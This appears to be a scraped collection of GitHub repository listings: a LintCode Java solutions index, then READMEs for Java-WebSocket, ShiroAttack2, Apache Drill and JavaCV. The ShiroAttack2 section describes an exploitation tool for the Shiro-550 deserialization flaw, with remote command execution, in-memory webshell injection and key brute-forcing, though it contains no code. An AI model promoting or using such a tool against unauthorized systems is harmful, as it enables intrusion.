Characters.java](https://github.com/awangdev/LintCode/blob/master/Java/340.%20Longest%20Substring%20with%20At%20Most%20K%20Distinct%20Characters.java)|Hard|[Hash Table, LinkedHashMap, Sliding Window, String, Two Pointers]|O(n)|O(k)|Java|506| |217|[217. Contains Duplicate.java](https://github.com/awangdev/LintCode/blob/master/Java/217.%20Contains%20Duplicate.java)|Easy|[Array, Hash Table]|O(n)|O(1)|Java|507| |103|[103. Binary Tree Zigzag Level Order Traversal.java](https://github.com/awangdev/LintCode/blob/master/Java/103.%20Binary%20Tree%20Zigzag%20Level%20Order%20Traversal.java)|Medium|[BFS, Stack, Tree]|O(n)|O(n)|Java|508| |1057|[1057. Campus Bikes.java](https://github.com/awangdev/LintCode/blob/master/Java/1057.%20Campus%20Bikes.java)|Medium|[Bucket Sort, Greedy, PriorityQueue, Sort]|O(mn)|O(mn)|Java|509| |261|[261. Graph Valid Tree.java](https://github.com/awangdev/LintCode/blob/master/Java/261.%20Graph%20Valid%20Tree.java)|Medium|[BFS, DFS, Graph, Union Find]|||Java|510| |64|[64. Minimum Path Sum.java](https://github.com/awangdev/LintCode/blob/master/Java/64.%20Minimum%20Path%20Sum.java)|Medium|[Array, Coordinate DP, DP]|O(mn)|O(n) rolling array|Java|511| |796|[796. Rotate String.java](https://github.com/awangdev/LintCode/blob/master/Java/796.%20Rotate%20String.java)|Easy|[String]|||Java|512| |229|[229. Majority Element II.java](https://github.com/awangdev/LintCode/blob/master/Java/229.%20Majority%20Element%20II.java)|Medium|[Array, Moore Voting]|O(n)|(1)|Java|513| |1041|[1041. Robot Bounded In Circle.java](https://github.com/awangdev/LintCode/blob/master/Java/1041.%20Robot%20Bounded%20In%20Circle.java)|Easy|[String]|||Java|514| |2|[2. Add Two Numbers.java](https://github.com/awangdev/LintCode/blob/master/Java/2.%20Add%20Two%20Numbers.java)|Medium|[Linked List, Math]|O(max(m,n))|O(max(m,n))|Java|515| |157|[157. Read N Characters Given Read4.java](https://github.com/awangdev/LintCode/blob/master/Java/157.%20Read%20N%20Characters%20Given%20Read4.java)|Easy|[Enumeration, String]|||Java|516| |114|[114. Flatten Binary Tree to Linked List.java](https://github.com/awangdev/LintCode/blob/master/Java/114.%20Flatten%20Binary%20Tree%20to%20Linked%20List.java)|Medium|[Binary Tree, DFS]|O(n)|O(n), stacks|Java|517| |121|[121. Best Time to Buy and Sell Stock.java](https://github.com/awangdev/LintCode/blob/master/Java/121.%20Best%20Time%20to%20Buy%20and%20Sell%20Stock.java)|Easy|[Array, DP, Sequence DP]|||Java|518| |1004|[1004. Max Consecutive Ones III.java](https://github.com/awangdev/LintCode/blob/master/Java/1004.%20Max%20Consecutive%20Ones%20III.java)|Medium|[Sliding Window, Two Pointers]|O(n)|O(1)|Java|519| |1146|[1146. Snapshot Array.java](https://github.com/awangdev/LintCode/blob/master/Java/1146.%20Snapshot%20Array.java)|Medium|[Array, Hash Table, TreeMap]|O(1) set, O(logn) get, O(x) snap, x = # of changes|O(n * m), n = array size, m = # of snaps|Java|520| |273|[273. Integer to English Words.java](https://github.com/awangdev/LintCode/blob/master/Java/273.%20Integer%20to%20English%20Words.java)|Hard|[Enumeration, Math, String]|O(n)|O(1)|Java|521| |304|[304. Range Sum Query 2D - Immutable.java](https://github.com/awangdev/LintCode/blob/master/Java/304.%20Range%20Sum%20Query%202D%20-%20Immutable.java)|Medium|[DP, PreSum]|O(mn) build, O(1) query|O(mn)|Java|522| |605|[605. Can Place Flowers.java](https://github.com/awangdev/LintCode/blob/master/Java/605.%20Can%20Place%20Flowers.java)|Easy|[Array, Greedy]|O(n)|O(1)|Java|523| |1|[1. Two Sum.java](https://github.com/awangdev/LintCode/blob/master/Java/1.%20Two%20Sum.java)|Easy|[Array, Hash Table]|O(n)|O(n)|Java|524| |118|[118. Pascal's Triangle.java](https://github.com/awangdev/LintCode/blob/master/Java/118.%20Pascal's%20Triangle.java)|Easy|[Array, Basic Implementation, List]|O(n^2) based on pascal triangle size|O(n^2)|Java|525| |23|[23. Merge k Sorted Lists.java](https://github.com/awangdev/LintCode/blob/master/Java/23.%20Merge%20k%20Sorted%20Lists.java)|Medium|[Divide and Conquer, Heap, Linked List, Merge Sort, PriorityQueue]|O(nlogk)|O(logk)|Java|526| |283|[283. Move Zeroes.java](https://github.com/awangdev/LintCode/blob/master/Java/283.%20Move%20Zeroes.java)|Easy|[Array, Two Pointers]|O(n)|O(1)|Java|527| |208|[208. Implement Trie (Prefix Tree).java](https://github.com/awangdev/LintCode/blob/master/Java/208.%20Implement%20Trie%20(Prefix%20Tree).java)|Medium|[Design, Trie]|||Java|528| |516|[516. Longest Palindromic Subsequence.java](https://github.com/awangdev/LintCode/blob/master/Java/516.%20Longest%20Palindromic%20Subsequence.java)|Medium|[DFS, DP, Interval DP, Memoization]|O(n^2)|O(n^2)|Java|529| |218|[218. The Skyline Problem.java](https://github.com/awangdev/LintCode/blob/master/Java/218.%20The%20Skyline%20Problem.java)|Hard|[BIT, Divide and Conquer, HashHeap, Heap, PriorityQueue, Segment Tree, Sweep Line]|O(n^2logn)|O(n)|Java|530| |430|[430. Flatten a Multilevel Doubly Linked List.java](https://github.com/awangdev/LintCode/blob/master/Java/430.%20Flatten%20a%20Multilevel%20Doubly%20Linked%20List.java)|Medium|[DFS, Linked List]|O(n)|O(1)|Java|531| |63|[63. Unique Paths II.java](https://github.com/awangdev/LintCode/blob/master/Java/63.%20Unique%20Paths%20II.java)|Medium|[Array, Coordinate DP, DP]|O(mn)|O(mn)|Java|532| |52|[52. N-Queens II.java](https://github.com/awangdev/LintCode/blob/master/Java/52.%20N-Queens%20II.java)|Hard|[Backtracking]|O(n!)|O(n)|Java|533| |1033|[1033. Moving Stones Until Consecutive.java](https://github.com/awangdev/LintCode/blob/master/Java/1033.%20Moving%20Stones%20Until%20Consecutive.java)|Easy|[Basic Implementation, Sort]|O(1), only 3 elements|O(1)|Java|534| |139|[139. Word Break.java](https://github.com/awangdev/LintCode/blob/master/Java/139.%20Word%20Break.java)|Medium|[DP, Hash Table, Sequence DP]|O(n^2)|O(n)|Java|535| |105|[105. Construct Binary Tree from Preorder and Inorder Traversal.java](https://github.com/awangdev/LintCode/blob/master/Java/105.%20Construct%20Binary%20Tree%20from%20Preorder%20and%20Inorder%20Traversal.java)|Medium|[Array, DFS, Divide and Conquer, Hash Table, Tree]|O(n)|O(n)|Java|536| |125|[125. Valid Palindrome.java](https://github.com/awangdev/LintCode/blob/master/Java/125.%20Valid%20Palindrome.java)|Easy|[String, Two Pointers]|||Java|537| |449|[449. Serialize and Deserialize BST.java](https://github.com/awangdev/LintCode/blob/master/Java/449.%20Serialize%20and%20Deserialize%20BST.java)|Medium|[Tree]|O(n)|O(n)|Java|538| |274|[274.H-Index.java](https://github.com/awangdev/LintCode/blob/master/Java/274.H-Index.java)|Medium|[Bucket Sort, Hash Table, Sort]|O(n)|O(n)|Java|539| |160|[160. Intersection of Two Linked Lists.java](https://github.com/awangdev/LintCode/blob/master/Java/160.%20Intersection%20of%20Two%20Linked%20Lists.java)|Easy|[Linked List]|||Java|540| |40|[40. Combination Sum II.java](https://github.com/awangdev/LintCode/blob/master/Java/40.%20Combination%20Sum%20II.java)|Medium|[Array, Backtracking, Combination, DFS]|O(k * 2^n), k = avg rst length|O(n) stack depth, if not counting result size|Java|541| |410|[410. Split Array Largest Sum.java](https://github.com/awangdev/LintCode/blob/master/Java/410.%20Split%20Array%20Largest%20Sum.java)|N/A|[]|||Java|542| |724|[724. Find Pivot Index.java](https://github.com/awangdev/LintCode/blob/master/Java/724.%20Find%20Pivot%20Index.java)|Easy|[Array, PreSum]|O(n)|O(1)|Java|543| |523|[523. Continuous Subarray Sum.java](https://github.com/awangdev/LintCode/blob/master/Java/523.%20Continuous%20Subarray%20Sum.java)|Medium|[Coordinate DP, DP, Math, PreSum, Subarray]|O(n)|O(k)|Java|544| |65|[65. Valid Number.java](https://github.com/awangdev/LintCode/blob/master/Java/65.%20Valid%20Number.java)|Hard|[Enumeration, Math, String]|O(n)|O(1)|Java|545| |350|[350. Intersection of Two Arrays II.java](https://github.com/awangdev/LintCode/blob/master/Java/350.%20Intersection%20of%20Two%20Arrays%20II.java)|Easy|[Binary Search, Hash Table, Sort, Two Pointers]|(n)|(n)|Java|546| |364|[364. Nested List Weight Sum II.java](https://github.com/awangdev/LintCode/blob/master/Java/364.%20Nested%20List%20Weight%20Sum%20II.java)|Medium|[DFS, NestedInteger]|O(n), visit all nodes|O(h), depth|Java|547| |49|[49. Group Anagrams.java](https://github.com/awangdev/LintCode/blob/master/Java/49.%20Group%20Anagrams.java)|Medium|[Hash Table, String]|O(nk)|O(nk)|Java|548| |720|[720. Longest Word in Dictionary.java](https://github.com/awangdev/LintCode/blob/master/Java/720.%20Longest%20Word%20in%20Dictionary.java)|Easy|[Hash Table, Trie]|O(nlogn)|O(n)|Java|549| |438|[438. Find All Anagrams in a String.java](https://github.com/awangdev/LintCode/blob/master/Java/438.%20Find%20All%20Anagrams%20in%20a%20String.java)|Medium|[Hash Table, Sliding Window, Two Pointers]|O(n)|O(1)|Java|550| |632|[632. Smallest Range Covering Elements from K Lists.java](https://github.com/awangdev/LintCode/blob/master/Java/632.%20Smallest%20Range%20Covering%20Elements%20from%20K%20Lists.java)|Hard|[Hash Table, Sliding Window, Two Pointers]|O(nlogn), n = total elements|O(n) to store sorted list|Java|551| |138|[138. Copy List with Random Pointer.java](https://github.com/awangdev/LintCode/blob/master/Java/138.%20Copy%20List%20with%20Random%20Pointer.java)|Medium|[Hash Table, Linked List]|O(n)|O(n)|Java|552| |159|[159. Longest Substring with At Most Two Distinct Characters.java](https://github.com/awangdev/LintCode/blob/master/Java/159.%20Longest%20Substring%20with%20At%20Most%20Two%20Distinct%20Characters.java)|Medium|[Hash Table, Sliding Window, String, Two Pointers]|O(n)|O(1)|Java|553| |1043|[1043. Partition Array for Maximum Sum.java](https://github.com/awangdev/LintCode/blob/master/Java/1043.%20Partition%20Array%20for%20Maximum%20Sum.java)|Medium|[DFS, DP, Graph, Memoization]|O(n), calc memo[n]|O(n)|Java|554| |33|[33. Search in Rotated Sorted Array.java](https://github.com/awangdev/LintCode/blob/master/Java/33.%20Search%20in%20Rotated%20Sorted%20Array.java)|Medium|[Array, Binary Search]|O(logn)|O(1)|Java|555| |760|[760. Find Anagram Mappings.java](https://github.com/awangdev/LintCode/blob/master/Java/760.%20Find%20Anagram%20Mappings.java)|Easy|[Hash Table]|O(n)|O(n)|Java|556| |133|[133. Clone Graph.java](https://github.com/awangdev/LintCode/blob/master/Java/133.%20Clone%20Graph.java)|Medium|[BFS, DFS, Graph]|O(n)|O(n)|Java|557| |743|[743. Network Delay Time.java](https://github.com/awangdev/LintCode/blob/master/Java/743.%20Network%20Delay%20Time.java)|Medium|[BFS, DFS, Graph, Heap, PQ]|O(nlogn)|O(n)|Java|558| |636|[636. Exclusive Time of Functions.java](https://github.com/awangdev/LintCode/blob/master/Java/636.%20Exclusive%20Time%20of%20Functions.java)|Medium|[Stack]|O(n)|O(n)|Java|559| |692|[692. Top K Frequent Words.java](https://github.com/awangdev/LintCode/blob/master/Java/692.%20Top%20K%20Frequent%20Words.java)|Medium|[Hash Table, Heap, MaxHeap, MinHeap, PriorityQueue, Trie]|O(n)|O(n)|Java|560| |1170|[1170. Compare Strings by Frequency of the Smallest Character.java](https://github.com/awangdev/LintCode/blob/master/Java/1170.%20Compare%20Strings%20by%20Frequency%20of%20the%20Smallest%20Character.java)|Easy|[Array, String]|O(m + n)|O(m + n)|Java|561| |426|[426. Convert Binary Search Tree to Sorted Doubly Linked List.java](https://github.com/awangdev/LintCode/blob/master/Java/426.%20Convert%20Binary%20Search%20Tree%20to%20Sorted%20Doubly%20Linked%20List.java)|Medium|[BST, DFS, Divide and Conquer, Linked List, Tree]|O(n)|O(1)|Java|562| |745|[745. Prefix and Suffix Search.java](https://github.com/awangdev/LintCode/blob/master/Java/745.%20Prefix%20and%20Suffix%20Search.java)|Hard|[Trie]|O(N + Q)|O(N)|Java|563| |8|[8. String to Integer (atoi).java](https://github.com/awangdev/LintCode/blob/master/Java/8.%20String%20to%20Integer%20(atoi).java)|Medium|[Math, String]|O(n)|O(n)|Java|564| |361|[361. Bomb Enemy.java](https://github.com/awangdev/LintCode/blob/master/Java/361.%20Bomb%20Enemy.java)|Medium|[Coordinate DP, DP]|O(mn)|O(n) by calculating column sum|Java|565| |94|[94. Binary Tree Inorder Traversal.java](https://github.com/awangdev/LintCode/blob/master/Java/94.%20Binary%20Tree%20Inorder%20Traversal.java)|Easy|[Hash Table, Stack, Tree]|O(n)|O(logn)|Java|566| |402|[402. Remove K Digits.java](https://github.com/awangdev/LintCode/blob/master/Java/402.%20Remove%20K%20Digits.java)|Medium|[Greedy, Monotonous Stack, Stack]|O(n)|O(n)|Java|567| |98|[98. Validate Binary Search Tree.java](https://github.com/awangdev/LintCode/blob/master/Java/98.%20Validate%20Binary%20Search%20Tree.java)|Medium|[BST, DFS, Divide and Conquer, Tree]|O(n)|O(logn)|Java|568| |1123|[1123. Lowest Common Ancestor of Deepest Leaves.java](https://github.com/awangdev/LintCode/blob/master/Java/1123.%20Lowest%20Common%20Ancestor%20of%20Deepest%20Leaves.java)|Medium|[BFS, DFS, Tree]|O(n)|O(n)|Java|569| |921|[921. Minimum Add to Make Parentheses Valid.java](https://github.com/awangdev/LintCode/blob/master/Java/921.%20Minimum%20Add%20to%20Make%20Parentheses%20Valid.java)|Medium|[]|O(n)|O(1)|Java|570| |399|[399. Evaluate Division.java](https://github.com/awangdev/LintCode/blob/master/Java/399.%20Evaluate%20Division.java)|Medium|[BFS, DFS, Graph, Union Find]|||Java|571| |785|[785. Is Graph Bipartite.java](https://github.com/awangdev/LintCode/blob/master/Java/785.%20Is%20Graph%20Bipartite.java)|Medium|[BFS, DFS, Garph]|O(n)|O(n)|Java|572| |767|[767. Reorganize String.java](https://github.com/awangdev/LintCode/blob/master/Java/767.%20Reorganize%20String.java)|Medium|[Greedy, Hash Table, Heap, Sort, String]|O(m), m = # of unique letters|O(nLogm), n = length|Java|573| |71|[71. Simplify Path.java](https://github.com/awangdev/LintCode/blob/master/Java/71.%20Simplify%20Path.java)|Medium|[Stack, String]|O(n)|O(n)|Java|574| |34|[34. Find First and Last Position of Element in Sorted Array.java](https://github.com/awangdev/LintCode/blob/master/Java/34.%20Find%20First%20and%20Last%20Position%20of%20Element%20in%20Sorted%20Array.java)|Medium|[Array, Binary Search]|O(logn)|O(1)|Java|575| |278|[278. First Bad Version.java](https://github.com/awangdev/LintCode/blob/master/Java/278.%20First%20Bad%20Version.java)|Easy|[Binary Search]|O(logN)|O(1)|Java|576| |124|[124. Binary Tree Maximum Path Sum.java](https://github.com/awangdev/LintCode/blob/master/Java/124.%20Binary%20Tree%20Maximum%20Path%20Sum.java)|Hard|[DFS, DP, Tree, Tree DP]|O(n)|O(logn)|Java|577| |721|[721. Accounts Merge.java](https://github.com/awangdev/LintCode/blob/master/Java/721.%20Accounts%20Merge.java)|Medium|[DFS, Hash Table, Union Find]|||Java|578| |689|[689. Maximum Sum of 3 Non-Overlapping Subarrays.java](https://github.com/awangdev/LintCode/blob/master/Java/689.%20Maximum%20Sum%20of%203%20Non-Overlapping%20Subarrays.java)|Hard|[Array, DP]|O(n)|O(n)|Java|579| |101|[101. Symmetric Tree.java](https://github.com/awangdev/LintCode/blob/master/Java/101.%20Symmetric%20Tree.java)|Easy|[BFS, DFS, Tree]|O(n)|O(n)|Java|580| |149|[149. Max Points on a Line.java](https://github.com/awangdev/LintCode/blob/master/Java/149.%20Max%20Points%20on%20a%20Line.java)|Hard|[Array, Geometry, Hash Table, Math]|O(n^2)|O()|Java|581| |698|[698. Partition to K Equal Sum Subsets.java](https://github.com/awangdev/LintCode/blob/master/Java/698.%20Partition%20to%20K%20Equal%20Sum%20Subsets.java)|Medium|[DFS, DP, Recursion]|O(k^(n-k) * k!)|O(n)|Java|582| |57|[57. Insert Interval.java](https://github.com/awangdev/LintCode/blob/master/Java/57.%20Insert%20Interval.java)|Hard|[Array, PriorityQueue, Sort, Sweep Line]|O(n)|O(n)|Java|583| |13|[13. Roman to Integer.java](https://github.com/awangdev/LintCode/blob/master/Java/13.%20Roman%20to%20Integer.java)|Easy|[Math, String]|O(n)|O(1)|Java|584| |716|[716. Max Stack.java](https://github.com/awangdev/LintCode/blob/master/Java/716.%20Max%20Stack.java)|Medium|[Design, Doubly Linked List, Stack, TreeMap]|avg O(1), [O(logN) peekMax(), TreeMap]; [O(n) popMax(), TwoStack]|O(n)|Java|585| |671|[671. Second Minimum Node In a Binary Tree.java](https://github.com/awangdev/LintCode/blob/master/Java/671.%20Second%20Minimum%20Node%20In%20a%20Binary%20Tree.java)|Easy|[BFS, Tree]|O(n)|O(n) leaf nodes|Java|586| |366|[366. Find Leaves of Binary Tree.java](https://github.com/awangdev/LintCode/blob/master/Java/366.%20Find%20Leaves%20of%20Binary%20Tree.java)|Medium|[DFS, Tree]|O(n)|O(h)|Java|587| |235|[235. Lowest Common Ancestor of a Binary Search Tree.java](https://github.com/awangdev/LintCode/blob/master/Java/235.%20Lowest%20Common%20Ancestor%20of%20a%20Binary%20Search%20Tree.java)|Easy|[BST, DFS, Tree]|O(logn)|O(logn)|Java|588| |156|[156. Binary Tree Upside Down.java](https://github.com/awangdev/LintCode/blob/master/Java/156.%20Binary%20Tree%20Upside%20Down.java)|Medium|[DFS, Tree]|O(n)|O(h)|Java|589| |416|[416. Partition Equal Subset Sum.java](https://github.com/awangdev/LintCode/blob/master/Java/416.%20Partition%20Equal%20Subset%20Sum.java)|Medium|[Backpack, DP]|||Java|590| |611|[611. Valid Triangle Number.java](https://github.com/awangdev/LintCode/blob/master/Java/611.%20Valid%20Triangle%20Number.java)|Medium|[Array, Two Pointers]|O(n^2)|O(logn), sorting space|Java|591| |341|[341. Flatten Nested List Iterator.java](https://github.com/awangdev/LintCode/blob/master/Java/341.%20Flatten%20Nested%20List%20Iterator.java)|Medium|[Design, NestedInteger, Stack]|O(n)|O(n)|Java|592| |254|[254. Factor Combinations.java](https://github.com/awangdev/LintCode/blob/master/Java/254.%20Factor%20Combinations.java)|Medium|[BFS, Backtracking, DFS]|O(x), x is the # of results|O(y), y is all ongoing candidates in queue|Java|593| |739|[739. Daily Temperatures.java](https://github.com/awangdev/LintCode/blob/master/Java/739.%20Daily%20Temperatures.java)|Medium|[Hash Table, Monotonous Stack, Stack]|O(n)|O(n)|Java|594| |373|[373. Find K Pairs with Smallest Sums.java](https://github.com/awangdev/LintCode/blob/master/Java/373.%20Find%20K%20Pairs%20with%20Smallest%20Sums.java)|Medium|[Heap, MaxHeap, MinHeap]|O(klogk)|O(k)|Java|595| |256|[256. Paint House.java](https://github.com/awangdev/LintCode/blob/master/Java/256.%20Paint%20House.java)|Easy|[DP, Sequence DP, Status DP]|O(nm), m = # of colors|O(nm), or O(1) with rolling array|Java|596| |265|[265. Paint House II.java](https://github.com/awangdev/LintCode/blob/master/Java/265.%20Paint%20House%20II.java)|Hard|[DP, Sequence DP, Status DP]|O(NK^2):|O(K) with rolling array|Java|597| |272|[272. Closest Binary Search Tree Value II.java](https://github.com/awangdev/LintCode/blob/master/Java/272.%20Closest%20Binary%20Search%20Tree%20Value%20II.java)|Hard|[Stack, Tree]|O(n)|O(n)|Java|598| |72|[72. Edit Distance.java](https://github.com/awangdev/LintCode/blob/master/Java/72.%20Edit%20Distance.java)|Hard|[DP, Double Sequence DP, Sequence DP, String]|O(MN)||Java|599| |215|[215. Kth Largest Element in an Array.java](https://github.com/awangdev/LintCode/blob/master/Java/215.%20Kth%20Largest%20Element%20in%20an%20Array.java)|Medium|[Divide and Conquer, Heap, MinHeap, PriorityQueue, Quick Select, Quick Sort]|O(nlogk)|O(k)|Java|600|

TooTallNate/Java-WebSocket

A barebones WebSocket client and server implementation written in 100% Java.

2010-01-20T23:33:04Z

SummerSec/ShiroAttack2

shiro反序列化漏洞综合利用,包含（回显执行命令/注入内存马）修复原版中NoCC的问题 https://github.com/j1anFen/shiro_attack

2021-06-13T03:44:13Z

# <h1 align="center" >ShiroAttack2</h1> <h3 align="center" >一款针对Shiro550漏洞进行快速漏洞利用</h3> <p align="center"> <a href="https://github.com/SummerSec/ShiroAttack2"></a> <a href="https://github.com/SummerSec/ShiroAttack2"><img alt="ShiroAttack2" src="https://img.shields.io/badge/ShiroAttack2-green"></a> <a href="https://github.com/SummerSec/ShiroAttack2"><img alt="Forks" src="https://img.shields.io/github/forks/SummerSec/ShiroAttack2"></a> <a href="https://github.com/SummerSec/ShiroAttack2"><img alt="Release" src="https://img.shields.io/github/release/SummerSec/ShiroAttack2.svg"></a> <a href="https://github.com/SummerSec/ShiroAttack2"><img alt="Stars" src="https://img.shields.io/github/stars/SummerSec/ShiroAttack2.svg?style=social&label=Stars"></a> <a href="https://github.com/SummerSec"><img alt="Follower" src="https://img.shields.io/github/followers/SummerSec.svg?style=social&label=Follow"></a> <a href="https://github.com/SummerSec"><img alt="Visitor" src="https://visitor-badge.laobi.icu/badge?page_id=SummerSec.ShiroAttack2"></a> <a href="https://twitter.com/SecSummers"><img alt="SecSummers" src="https://img.shields.io/twitter/follow/SecSummers.svg"></a> <a xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="https://visitor-badge.laobi.icu"><rect fill="rgba(0,0,0,0)" height="20" width="49.6"/></a> <a xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="https://visitor-badge.laobi.icu"><rect fill="rgba(0,0,0,0)" height="20" width="17.0" x="49.6"/></a> </p> ## 前言 关于该工具更新内容介绍后续会更新到博客下面**https://shiro.sumsec.me/** ## 工具特点 * javafx * 处理没有第三方依赖的情况 * 支持多版本CommonsBeanutils的gadget * 支持内存马 * 采用直接回显执行命令 * 添加了更多的CommonsBeanutils版本gadget * 支持修改rememberMe关键词 * 支持直接爆破利用gadget和key * 支持代理 * 添加修改shirokey功能（使用内存马的方式）**可能导致业务异常** * 支持内存马小马 * 添加DFS算法回显（AllECHO） * 支持自定义请求头，格式：abc:123&&&test:123 ## FAQ 常见问题见 [FAQ](./docs/FAQ.md) ## 使用方法 直接使用shiro_attack-{version}-SNAPSHOT-all.jar第三版  在jar的当前目录下创建一个data文件夹，里面创建一个shiro_keys.txt文件，文件内容是shiro_key。lib目前是CommonsBeanutils依赖的版本。  --- ## :b:免责声明 该工具仅用于安全自查检测 由于传播、利用此工具所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。 本人拥有对此工具的修改和解释权。未经网络安全部门及相关部门允许，不得善自使用本工具进行任何攻击活动，不得以任何方式将其用于商业目的。 该工具只授权于企业内部进行问题排查，请勿用于非法用途，请遵守网络安全法，否则后果作者概不负责 ---- 

apache/drill

Apache Drill is a distributed MPP query layer for self describing data

2012-09-05T07:00:26Z

# Apache Drill [](https://github.com/apache/drill/actions) [](https://search.maven.org/#search%7Cgav%7C1%7Cg%3A%22org.apache.drill%22%20AND%20a%3A%22distribution%22) [](http://www.apache.org/licenses/LICENSE-2.0) [](http://stackoverflow.com/questions/tagged/apache-drill) [](http://apache-drill.slack.com "Join our Slack community") Apache Drill is a distributed MPP query layer that supports SQL and alternative query languages against NoSQL and Hadoop data storage systems. It was inspired in part by [Google's Dremel](http://research.google.com/pubs/pub36632.html). ## Developers Please read [Environment.md](docs/dev/Environment.md) for setting up and running Apache Drill. For complete developer documentation see [DevDocs.md](docs/dev/DevDocs.md). ## More Information Please see the [Apache Drill Website](http://drill.apache.org/) or the [Apache Drill Documentation](http://drill.apache.org/docs/) for more information including: * Remote Execution Installation Instructions * [Running Drill on Docker instructions](https://drill.apache.org/docs/running-drill-on-docker/) * Information about how to submit logical and distributed physical plans * More example queries and sample data * Find out ways to be involved or discuss Drill ## Join the community! Apache Drill is an Apache Foundation project and is seeking all types of users and contributions. Please say hello on the [Apache Drill mailing list](http://drill.apache.org/mailinglists/).You can also join our [Google Hangouts](http://drill.apache.org/community-resources/) or [join](https://bit.ly/2VM0XS8) our [Slack Channel](https://join.slack.com/t/apache-drill/shared_invite/enQtNTQ4MjM1MDA3MzQ2LTJlYmUxMTRkMmUwYmQ2NTllYmFmMjU4MDk0NjYwZjBmYjg0MDZmOTE2ZDg0ZjBlYmI3Yjc4Y2I2NTQyNGVlZTc) if you need help with using or developing Apache Drill (more information can be found on [Apache Drill website](http://drill.apache.org/)). ## Export Control This distribution includes cryptographic software. The country in which you currently reside may have restrictions on the import, possession, use, and/or re-export to another country, of encryption software. BEFORE using any encryption software, please check your country's laws, regulations and policies concerning the import, possession, or use, and re-export of encryption software, to see if this is permitted. See <http://www.wassenaar.org/> for more information. The U.S. Government Department of Commerce, Bureau of Industry and Security (BIS), has classified this software as Export Commodity Control Number (ECCN) 5D002.C.1, which includes information security software using or performing cryptographic functions with asymmetric algorithms. The form and manner of this Apache Software Foundation distribution makes it eligible for export under the License Exception ENC Technology Software Unrestricted (TSU) exception (see the BIS Export Administration Regulations, Section 740.13) for both object code and source code. The following provides more details on the included cryptographic software: Java SE Security packages are used to provide support for authentication, authorization and secure sockets communication. The Jetty Web Server is used to provide communication via HTTPS. The Cyrus SASL libraries, Kerberos Libraries and OpenSSL Libraries are used to provide SASL based authentication and SSL communication.

bytedeco/javacv

Java interface to OpenCV, FFmpeg, and more

2014-04-21T13:50:26Z

JavaCV ====== [](https://gitter.im/bytedeco/javacv) [](https://maven-badges.herokuapp.com/maven-central/org.bytedeco/javacv-platform) [](http://bytedeco.org/builds/) [](https://travis-ci.org/bytedeco/javacv) ^{Commercial support:} [](https://xscode.com/bytedeco/javacv) Introduction ------------ JavaCV uses wrappers from the [JavaCPP Presets](https://github.com/bytedeco/javacpp-presets) of commonly used libraries by researchers in the field of computer vision ([OpenCV](http://opencv.org/), [FFmpeg](http://ffmpeg.org/), [libdc1394](http://damien.douxchamps.net/ieee1394/libdc1394/), [FlyCapture](https://www.flir.com/products/flycapture-sdk/), [Spinnaker](https://www.flir.com/products/spinnaker-sdk/), [OpenKinect](http://openkinect.org/), [librealsense](https://github.com/IntelRealSense/librealsense), [CL PS3 Eye Driver](https://codelaboratories.com/downloads/), [videoInput](http://muonics.net/school/spring05/videoInput/), [ARToolKitPlus](https://launchpad.net/artoolkitplus), [flandmark](https://github.com/uricamic/flandmark), [Leptonica](http://www.leptonica.org/), and [Tesseract](https://github.com/tesseract-ocr/tesseract)) and provides utility classes to make their functionality easier to use on the Java platform, including Android. JavaCV also comes with hardware accelerated full-screen image display (`CanvasFrame` and `GLCanvasFrame`), easy-to-use methods to execute code in parallel on multiple cores (`Parallel`), user-friendly geometric and color calibration of cameras and projectors (`GeometricCalibrator`, `ProCamGeometricCalibrator`, `ProCamColorCalibrator`), detection and matching of feature points (`ObjectFinder`), a set of classes that implement direct image alignment of projector-camera systems (mainly `GNImageAligner`, `ProjectiveTransformer`, `ProjectiveColorTransformer`, `ProCamTransformer`, and `ReflectanceInitializer`), a blob analysis package (`Blobs`), as well as miscellaneous functionality in the `JavaCV` class. Some of these classes also have an OpenCL and OpenGL counterpart, their names ending with `CL` or starting with `GL`, i.e.: `JavaCVCL`, `GLCanvasFrame`, etc. To learn how to use the API, since documentation currently lacks, please refer to the [Sample Usage](#sample-usage) section below as well as the [sample programs](https://github.com/bytedeco/javacv/tree/master/samples/), including two for Android (`FacePreview.java` and `RecordActivity.java`), also found in the `samples` directory. You may also find it useful to refer to the source code of [ProCamCalib](https://github.com/bytedeco/procamcalib) and [ProCamTracker](https://github.com/bytedeco/procamtracker) as well as [examples ported from OpenCV2 Cookbook](https://github.com/bytedeco/javacv-examples/) and the associated [wiki pages](https://github.com/bytedeco/javacv-examples/tree/master/OpenCV_Cookbook). Please keep me informed of any updates or fixes you make to the code so that I may integrate them into the next release. Thank you! And feel free to ask questions on [the mailing list](http://groups.google.com/group/javacv) or [the discussion forum](https://github.com/bytedeco/javacv/discussions) if you encounter any problems with the software! I am sure it is far from perfect... Downloads --------- Archives containing JAR files are available as [releases](https://github.com/bytedeco/javacv/releases). The binary archive contains builds for Android, iOS, Linux, Mac OS X, and Windows. The JAR files for specific child modules or platforms can also be obtained individually from the [Maven Central Repository](http://search.maven.org/#search|ga|1|bytedeco). To install manually the JAR files, follow the instructions in the [Manual Installation](#manual-installation) section below. We can also have everything downloaded and installed automatically with: * Maven (inside the `pom.xml` file) ```xml <dependency> <groupId>org.bytedeco</groupId> <artifactId>javacv-platform</artifactId> <version>1.5.10</version> </dependency> ``` * Gradle (inside the `build.gradle.kts` or `build.gradle` file) ```groovy dependencies { implementation("org.bytedeco:javacv-platform:1.5.10") } ``` * Leiningen (inside the `project.clj` file) ```clojure :dependencies [ [org.bytedeco/javacv-platform "1.5.10"] ] ``` * sbt (inside the `build.sbt` file) ```scala libraryDependencies += "org.bytedeco" % "javacv-platform" % "1.5.10" ``` This downloads binaries for all platforms, but to get binaries for only one platform we can set the `javacpp.platform` system property (via the `-D` command line option) to something like `android-arm`, `linux-x86_64`, `macosx-x86_64`, `windows-x86_64`, etc. Please refer to the [README.md file of the JavaCPP Presets](https://github.com/bytedeco/javacpp-presets#downloads) for details. Another option available to Gradle users is [Gradle JavaCPP](https://github.com/bytedeco/gradle-javacpp), and similarly for Scala users there is [SBT-JavaCV](https://github.com/bytedeco/sbt-javacv). Required Software ----------------- To use JavaCV, you will first need to download and install the following software: * An implementation of Java SE 7 or newer: * OpenJDK http://openjdk.java.net/install/ or * Oracle JDK http://www.oracle.com/technetwork/java/javase/downloads/ or * IBM JDK http://www.ibm.com/developerworks/java/jdk/ Further, although not always required, some functionality of JavaCV also relies on: * CL Eye Platform SDK 